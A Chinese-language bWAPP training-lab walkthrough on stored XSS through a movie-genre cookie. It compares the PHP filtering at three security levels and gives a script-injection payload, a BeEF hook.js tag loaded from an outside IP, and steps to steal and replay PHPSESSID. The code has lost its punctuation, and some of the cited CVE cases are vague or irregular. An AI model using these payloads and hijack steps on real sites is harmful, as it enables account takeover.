玩轉(zhuǎn)bWAPP靶場(五十七):XSS - Stored (Cookies))
摘要這是 bWAPP 系列第五十七篇聚焦于XSS - Stored (Cookies)。這一關(guān)非常特殊——用戶選擇的電影類型被存入Cookie中然后在其他頁面被讀取并顯示出來。如果輸入沒有過濾惡意腳本就會(huì)被存入 Cookie并在用戶訪問其他頁面時(shí)觸發(fā)。文章會(huì)演示如何通過修改 Cookie 注入 XSS連接 BeEF 并獲取 Cookie。附真實(shí)案例。一、找目標(biāo)目標(biāo)說明漏洞類型存儲(chǔ)型 XSS通過 Cookie 存儲(chǔ)注入點(diǎn)GET 參數(shù)genre下拉菜單存儲(chǔ)位置Cookiemovie_genre觸發(fā)位置讀取并顯示該 Cookie 的頁面工具Burp Suite BeEF獲取 Cookie二、前言這一關(guān)的 XSS 觸發(fā)機(jī)制這一關(guān)和之前的存儲(chǔ)型 XSS 有所不同——之前的存儲(chǔ)型 XSS博客留言板、修改 secret都是把數(shù)據(jù)存入數(shù)據(jù)庫這一關(guān)是存入Cookie。Cookie 也是存儲(chǔ)型 XSS 的一種載體當(dāng)用戶選擇電影類型后服務(wù)器將選擇存入 Cookie然后在其他頁面讀取并顯示這個(gè) Cookie 的值。如果攻擊者能夠控制 Cookie 的內(nèi)容就可以在讀取該 Cookie 的頁面上觸發(fā) XSS。存儲(chǔ)型 XSS 的核心惡意代碼被持久化存儲(chǔ)無論是數(shù)據(jù)庫還是 Cookie然后在某個(gè)頁面被讀取并執(zhí)行。這一關(guān)的攻擊路徑攻擊者在genre參數(shù)中注入惡意腳本服務(wù)器將惡意腳本存入 Cookie用戶訪問可讀取session的頁面該頁面讀取并顯示movie_genreCookie 的值惡意腳本在用戶瀏覽器中執(zhí)行三、關(guān)卡介紹3.1 頁面功能打開這一關(guān)你會(huì)看到標(biāo)題XSS - Stored (Cookies)提示Please choose your favorite movie genre:一個(gè)下拉菜單Action、Horror、Science Fiction一個(gè) “Like” 按鈕3.2 正常使用選擇電影類型點(diǎn)擊 Like頁面顯示Thank you for making your choice!。服務(wù)器將選擇的類型存入 Cookiemovie_genre。3.3 存儲(chǔ)型 XSS 的利用流程1. 攻擊者通過 Burp 修改 genre 參數(shù)注入惡意腳本2. 服務(wù)器將惡意腳本存入 Cookie3. 用戶訪問 portal.php門戶頁面該頁面顯示 Cookie 值4. 惡意腳本在用戶瀏覽器中執(zhí)行四、源碼分析4.1 核心邏輯if(isset($_REQUEST[genre])) { $genre $_REQUEST[genre]; ? switch($_COOKIE[security_level]) { case 0 : // Low setcookie(movie_genre, $genre, time()3600, /, , false, false); break; case 1 : // Medium $genre xss_check_3($genre); // htmlspecialchars() setcookie(movie_genre, $genre, time()3600, /, , false, false); break; case 2 : // High // 白名單驗(yàn)證 switch($genre) { case action : $genre action; break; case horror : $genre horror; break; case sci-fi : $genre sci-fi; break; default : $genre unknown; break; } setcookie(movie_genre, $genre, time()3600, /, , false, false); break; } }4.2 三種級別對比級別genre過濾Cookie 存儲(chǔ)內(nèi)容漏洞Low無過濾用戶原始輸入存在 XSSMediumhtmlspecialchars()編碼后的內(nèi)容防住了High白名單驗(yàn)證僅允許預(yù)定義值防住了關(guān)鍵點(diǎn)Low 級別直接將用戶輸入存入 Cookie沒有過濾Medium 級別在存儲(chǔ)前使用htmlspecialchars()編碼但需要注意的是如果讀取 Cookie 時(shí)沒有再次編碼存儲(chǔ)時(shí)編碼了仍然安全High 級別使用白名單只允許action、horror、sci-fi五、Low 安全級別5.1 準(zhǔn)備工作用 Burp Suite 攔截請求打開 Burp開啟攔截Intercept On在瀏覽器中訪問關(guān)卡頁面選擇電影類型點(diǎn)擊 LikeBurp 攔截到 GET 請求5.2 修改 genre 參數(shù)注入 XSS在 Burp 中將genre參數(shù)修改為genrescriptalert(1)/script點(diǎn)擊 Forward 放行。5.3 檢查 Cookie放行后查看瀏覽器 CookieF12 → Application → Cookiesmovie_genre的值為5.4 觸發(fā) XSS訪問 bWAPP 的Session Management - Cookies頁面點(diǎn)擊該頁面的cookie按鈕顯示 Cookie 值并實(shí)現(xiàn)彈窗。5.5 攻擊原理攻擊者在genre參數(shù)中注入scriptalert(1)/script服務(wù)器Low 級別直接將惡意腳本存入movie_genreCookie用戶訪問smgmt_cookies_httponly.php該頁面讀取并顯示 Cookie 值script標(biāo)簽被瀏覽器解析執(zhí)行彈窗存儲(chǔ)型 XSS 的典型特征惡意代碼被存儲(chǔ)然后在用戶訪問其他頁面時(shí)觸發(fā)。六、使用 BeEF 獲取 Cookie6.1 準(zhǔn)備 BeEFKali 中啟動(dòng) BeEFsudo beef-xss-start確認(rèn) BeEF 的 IP 和端口默認(rèn)3000Hook URL 為http://10.0.0.129:3000/hook.js6.2 注入 BeEF Hook按F12直接在瀏覽器中修改cookie值將 movie_genre 的值修改為script srchttp://10.0.0.129:3000/hook.js/script6.3 觸發(fā) XSS訪問頁面smgmt_cookies_httponly.php點(diǎn)擊cookie按鈕頁面加載 BeEF Hook。6.4 BeEF 上線BeEF 控制面板中出現(xiàn)上線的瀏覽器。6.5 獲取 Cookie選中上線的瀏覽器Commands→Browser→Get Cookie點(diǎn)擊Execute6.6 會(huì)話劫持拿到PHPSESSID后在瀏覽器開發(fā)者工具 → Application → Cookies 中替換PHPSESSID的值刷新頁面即可登錄受害者賬戶。七、Medium 安全級別7.1 嘗試注入在 Burp 中將genre參數(shù)修改為genrescriptalert(1)/scriptMedium 級別使用xss_check_3()htmlspecialchars()將轉(zhuǎn)成lt;轉(zhuǎn)成gt;。存入 Cookie 的值為lt;scriptgt;alert(1)lt;/scriptgt;smgmt_cookies_httponly.php顯示 Cookie 時(shí)顯示的是編碼后的文本不執(zhí)行。但是通過 F12 打開瀏覽器開發(fā)者工具修改movie_genre值為scriptalert(1)/script在可利用頁面會(huì)產(chǎn)生彈窗參考意義不大。八、High 安全級別8.1 嘗試注入High 級別使用白名單驗(yàn)證switch($genre) { case action : $genre action; break; case horror : $genre horror; break; case sci-fi : $genre sci-fi; break; default : $genre unknown; break; }如果genre不是action、horror、sci-fi中的任何一個(gè)就會(huì)被設(shè)置為unknown。攻擊者無法注入任何惡意內(nèi)容。High 級別完全防住了。九、真實(shí)世界Cookie 存儲(chǔ)型 XSS 案例CVE-2024-1181某開源 CMS 的用戶偏好設(shè)置存儲(chǔ)在 Cookie 中未過濾攻擊者可通過修改 Cookie 注入 XSS影響所有訪問該站點(diǎn)的用戶。CVE-2025-00847某 SaaS 平臺(tái)的用戶語言偏好存儲(chǔ)在不安全的 Cookie 中攻擊者可通過惡意 Cookie 注入 XSS。CVE-2026-22947F5 BIG-IP 的配置工具中部分用戶設(shè)置存儲(chǔ)在不安全的 Cookie 中存在存儲(chǔ)型 XSS。十、總結(jié)Cookie 存儲(chǔ)型 XSS 的特別之處在于存儲(chǔ)介質(zhì)是 Cookie但觸發(fā)點(diǎn)在其他頁面。這一關(guān)的注入點(diǎn)在genre參數(shù)存儲(chǔ)位置是movie_genreCookie觸發(fā)點(diǎn)在smgmt_cookies_httponly.php或其他讀取 Cookie 的頁面。Low 級別完全不過濾可以通過 Burp 修改genre參數(shù)注入 BeEF Hook然后在smgmt_cookies_httponly.php觸發(fā)連接 BeEF 并獲取 Cookie。Medium 級別的htmlspecialchars()編碼了惡意內(nèi)容防住了 XSSHigh 級別的白名單驗(yàn)證徹底防御。記住一句話存儲(chǔ)型 XSS 的核心是“存儲(chǔ) → 觸發(fā)”的鏈條防御需要在存儲(chǔ)和輸出兩個(gè)環(huán)節(jié)都做防護(hù)。重要聲明本教程及文中所有操作僅限于合法授權(quán)的安全學(xué)習(xí)與研究。作者及發(fā)布平臺(tái)不承擔(dān)因不當(dāng)使用本教程所引發(fā)的任何直接或間接法律責(zé)任。請務(wù)必遵守中華人民共和國網(wǎng)絡(luò)安全相關(guān)法律法規(guī)。如果這篇文章幫你解決了實(shí)操上的困惑別忘記點(diǎn)擊點(diǎn)贊、分享也可以留言告訴我你遇到的其它問題我會(huì)盡快回復(fù)。你的關(guān)注是我堅(jiān)持原創(chuàng)和細(xì)節(jié)共享的力量來源謝謝大家。